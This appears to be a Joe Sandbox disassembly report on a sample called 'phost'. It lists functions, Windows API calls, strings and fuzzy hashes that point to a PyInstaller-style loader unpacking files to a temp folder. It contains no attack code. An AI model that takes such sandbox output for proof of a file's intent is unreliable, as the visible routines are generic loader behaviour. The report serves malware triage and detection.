Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62CC716DA
fwrite, xrefs: 00007FF62CC717D1
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF62CC717CA

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 20911a4744de1ae74720ed10c63f9e27e64b52a14b3e7d422bf6fbc438d91444
Instruction ID: 6c96872fd3c04f717ddf50332f0eeaef5c0b80b224cbd514c2afb797666a725a
Opcode Fuzzy Hash: 20911a4744de1ae74720ed10c63f9e27e64b52a14b3e7d422bf6fbc438d91444
Instruction Fuzzy Hash: E351B031B0864392EE119B199C105BA63B4FF44BB8F444635EE0C8B79ADF3CE549E342

Function 00007FF62CC780B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF62CC780EF
GetWindowLongPtrW.USER32 ref: 00007FF62CC7816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF62CC78182
GetLastError.KERNEL32 ref: 00007FF62CC7818C
SetWindowLongPtrW.USER32 ref: 00007FF62CC781A3

Strings

Needs to remove its temporary files., xrefs: 00007FF62CC78175

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: 435f4a025f35b50c762097ba75f74c85a60dbf5e56131fa384c7f5d56b7105e0
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: 6A216D31B0CA4292EF558B7EAC641796274FF88FB4F489231DB2DC77A4DE2CD5958202

Function 00007FF62CC81038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC81078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC81440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC816DF

Strings

f, xrefs: 00007FF62CC8117A
p, xrefs: 00007FF62CC8111D
f, xrefs: 00007FF62CC81110
f, xrefs: 00007FF62CC812C5
p, xrefs: 00007FF62CC81182

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 82c32ab55855f988ffdff2a29f76f49eb6b8ef0311011d8bdfedf900cb599c49
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 24125461F0C18385FF269A19AC54A7B66F1EB807B4F984235D699C7BC4DF7CE4808B12

Function 00007FF62CC71050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF62CC7110F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62CC711F6
fread, xrefs: 00007FF62CC711FD
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF62CC71108
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62CC71098
fseek, xrefs: 00007FF62CC710D3
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62CC710CC

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 55d92bd675c4157705e5a4f9884447b9a563961a3e2da5c03b2098de834b5e21
Instruction ID: 24ecff781c8b8fb6321770a5589483fa08ee505a70bf0e1b8ec60905d5b90bfd
Opcode Fuzzy Hash: 55d92bd675c4157705e5a4f9884447b9a563961a3e2da5c03b2098de834b5e21
Instruction Fuzzy Hash: EE419131B1865292EE11DB19AC14ABA63B8FF44BE4F544531ED0CCB799DE3CE109D742

Function 00007FF62CC78850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF62CC73CBB), ref: 00007FF62CC788F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF62CC73CBB), ref: 00007FF62CC788FA
CreateDirectoryW.KERNEL32(?,00000000,00007FF62CC73CBB), ref: 00007FF62CC7893C

Part of subcall function 00007FF62CC78A20: GetEnvironmentVariableW.KERNEL32(00007FF62CC7388E), ref: 00007FF62CC78A57
Part of subcall function 00007FF62CC78A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF62CC78A79

Part of subcall function 00007FF62CC882A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC882C1

Part of subcall function 00007FF62CC72810: MessageBoxW.USER32 ref: 00007FF62CC728EA

Strings

LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF62CC7896E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF62CC788CC
_MEI%d, xrefs: 00007FF62CC78902
TMP, xrefs: 00007FF62CC7888C, 00007FF62CC78993
TMP, xrefs: 00007FF62CC788B2

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 6ea14b1c2d16789ddeaa0d8cc05df9935aa6d91fa7ad17376743f3d33dced37a
Instruction ID: 7a4a8b3e2f65bae2bc4e16544f6c3f064f679bdbd2ccd38a7ae920dcf4e9da43
Opcode Fuzzy Hash: 6ea14b1c2d16789ddeaa0d8cc05df9935aa6d91fa7ad17376743f3d33dced37a
Instruction Fuzzy Hash: A9418F21B1C64240FE25EB2DAD552BA12B4EF897E4F404131EE0DDB696EE3CE5099342

Function 00007FF62CC8ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF62CC8F11A,?,?,000001AE1B2296E8,00007FF62CC8ADC3,?,?,?,00007FF62CC8ACBA,?,?,?,00007FF62CC85FAE), ref: 00007FF62CC8EEFC
GetProcAddress.KERNEL32(?,?,?,00007FF62CC8F11A,?,?,000001AE1B2296E8,00007FF62CC8ADC3,?,?,?,00007FF62CC8ACBA,?,?,?,00007FF62CC85FAE), ref: 00007FF62CC8EF08

Strings

ext-ms-, xrefs: 00007FF62CC8EE59
api-ms-, xrefs: 00007FF62CC8EE46

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: ba84b8ed72b7d6acf3bd2c08ec4217b2942624cd64973867c96c84c2aeef3cd7
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: 0F4114A5B19A5282FF16CB1A9C1497622B1BF49BF0F884239ED1DC7384EF3CE4058342

Function 00007FF62CC7DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DDBD
GetLastError.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DDF5
FreeLibrary.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DE63
GetProcAddress.KERNEL32(?,?,?,00007FF62CC7DFEA,?,?,?,00007FF62CC7DCDC,?,?,?,00007FF62CC7D8D9), ref: 00007FF62CC7DE6F

Strings

api-ms-, xrefs: 00007FF62CC7DDDD

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: c999403295026f7ed86a3d74d52f8c8c4901220a9f0d82ff47d6f98e20ee00d3
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: DE31A321B1AB4291EE229B0AAC0057523F8FF58BB4F595535ED1D8B3C0EF3CE4499356

Function 00007FF62CC78760 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF62CC78780
OpenProcessToken.ADVAPI32 ref: 00007FF62CC78793
GetTokenInformation.ADVAPI32 ref: 00007FF62CC787B8
GetLastError.KERNEL32 ref: 00007FF62CC787C2
GetTokenInformation.ADVAPI32 ref: 00007FF62CC78802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF62CC7881E
CloseHandle.KERNEL32 ref: 00007FF62CC78836

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1e3bf3a8b1345e2c0c0bdd6ff4e06add0bb9355989cc78c5a669156b3459c754
Instruction ID: c166246b85d03a646761b3896349f19c8ff6b633cd934497a3b87f2dd3d656c6
Opcode Fuzzy Hash: 1e3bf3a8b1345e2c0c0bdd6ff4e06add0bb9355989cc78c5a669156b3459c754
Instruction Fuzzy Hash: 4F215E31B0CA4282EF109B59F85423AA7B4FF857B4F104235EAAD87AE5DE7CD4498701

Function 00007FF62CC97DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF62CC97E0D
GetLastError.KERNEL32 ref: 00007FF62CC97E19
CloseHandle.KERNEL32 ref: 00007FF62CC97E31
CreateFileW.KERNEL32 ref: 00007FF62CC97E5C
WriteConsoleW.KERNEL32 ref: 00007FF62CC97E7B

Strings

CONOUT$, xrefs: 00007FF62CC97E3D

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: 1b20762d8290de707d8bfdaacb36347c4d0dda70141b01bee13fbbf1d4457005
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: 4B117231B18A4186EB608B5AAC6433972B0FB88BF8F004234D95DC7794DF7CD8148742

Function 00007FF62CC78560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF62CC79216), ref: 00007FF62CC78592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC785E9

Part of subcall function 00007FF62CC79400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62CC745E4,00000000,00007FF62CC71985), ref: 00007FF62CC79439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC78678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC786E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC786F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF62CC79216), ref: 00007FF62CC7870A

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b2770b171440e78660be4c91fda42c27049aa369c6710ced6bdf6821ec2ad01d
Instruction ID: 14c4aed2e1edbb137f0b8f72aa0ff2fcdbd1536768575b5cb22cfd846b2f31ee
Opcode Fuzzy Hash: b2770b171440e78660be4c91fda42c27049aa369c6710ced6bdf6821ec2ad01d
Instruction Fuzzy Hash: F2419322B1868241EE709B19A9406BA63B8FF84BE4F440135EF4DEBB89DE3CD445D702

Function 00007FF62CC790E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62CC78760: GetCurrentProcess.KERNEL32 ref: 00007FF62CC78780
Part of subcall function 00007FF62CC78760: OpenProcessToken.ADVAPI32 ref: 00007FF62CC78793
Part of subcall function 00007FF62CC78760: GetTokenInformation.ADVAPI32 ref: 00007FF62CC787B8
Part of subcall function 00007FF62CC78760: GetLastError.KERNEL32 ref: 00007FF62CC787C2
Part of subcall function 00007FF62CC78760: GetTokenInformation.ADVAPI32 ref: 00007FF62CC78802
Part of subcall function 00007FF62CC78760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF62CC7881E
Part of subcall function 00007FF62CC78760: CloseHandle.KERNEL32 ref: 00007FF62CC78836

LocalFree.KERNEL32(?,00007FF62CC73C55), ref: 00007FF62CC7916C
LocalFree.KERNEL32(?,00007FF62CC73C55), ref: 00007FF62CC79175

Strings

Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF62CC79183
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF62CC79142
S-1-3-4, xrefs: 00007FF62CC79121
D:(A;;FA;;;%s), xrefs: 00007FF62CC79157

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction ID: 5e4798eeac2ffc8ab57c50db14f613c81a7e613efd7e0007e22eed7f2adb0230
Opcode Fuzzy Hash: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
Instruction Fuzzy Hash: 57213C21B08A8282FE14AB15ED152FA6378EF887A0F444035EA4DD7796DF3CE949D742

Function 00007FF62CC72910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF62CC71B6A), ref: 00007FF62CC7295E

Strings

Error, xrefs: 00007FF62CC72A0E
Error [ANSI Fallback], xrefs: 00007FF62CC729FF
[PYI-%d:ERROR] , xrefs: 00007FF62CC72966
%s: %s, xrefs: 00007FF62CC729E8

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: bb1576f88803f31ef1732537805a7460079237122d8620a9963275537cd811d5
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: AC31F633B18A8152EB209769AC506F762A5FF887E8F404132EE8DD7759EF3CD54A8301

Function 00007FF62CC72710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF62CC71B99), ref: 00007FF62CC72760

Strings

ERROR, xrefs: 00007FF62CC7276F
Error, xrefs: 00007FF62CC727DE
Error [ANSI Fallback], xrefs: 00007FF62CC727CF
[PYI-%d:%s] , xrefs: 00007FF62CC72768

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: 1457340799cb50ff6dbfa9567e56d04423e5b2a8f7efdac5b2c88c96a9133c2a
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: 2A219F32B18B8192EA20DB59FC517E663A4FB883E4F404132EE8C97659DF3CD2498741

Function 00007FF62CC86010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC86176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8622C

Strings

verbose, xrefs: 00007FF62CC86020

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 07b66756d860e6a00321df7a4c2dc61a50186ec795e5f134d52ede683c53e023
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: F8918132B08A4645EF66AE29D850BBF36B1AB40BE4F444335DA5AC73D6DF3CE4458302

Function 00007FF62CC7D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF62CC7D6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF62CC7D77A
RtlUnwindEx.KERNEL32 ref: 00007FF62CC7D7D4

Strings

csm, xrefs: 00007FF62CC7D761

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
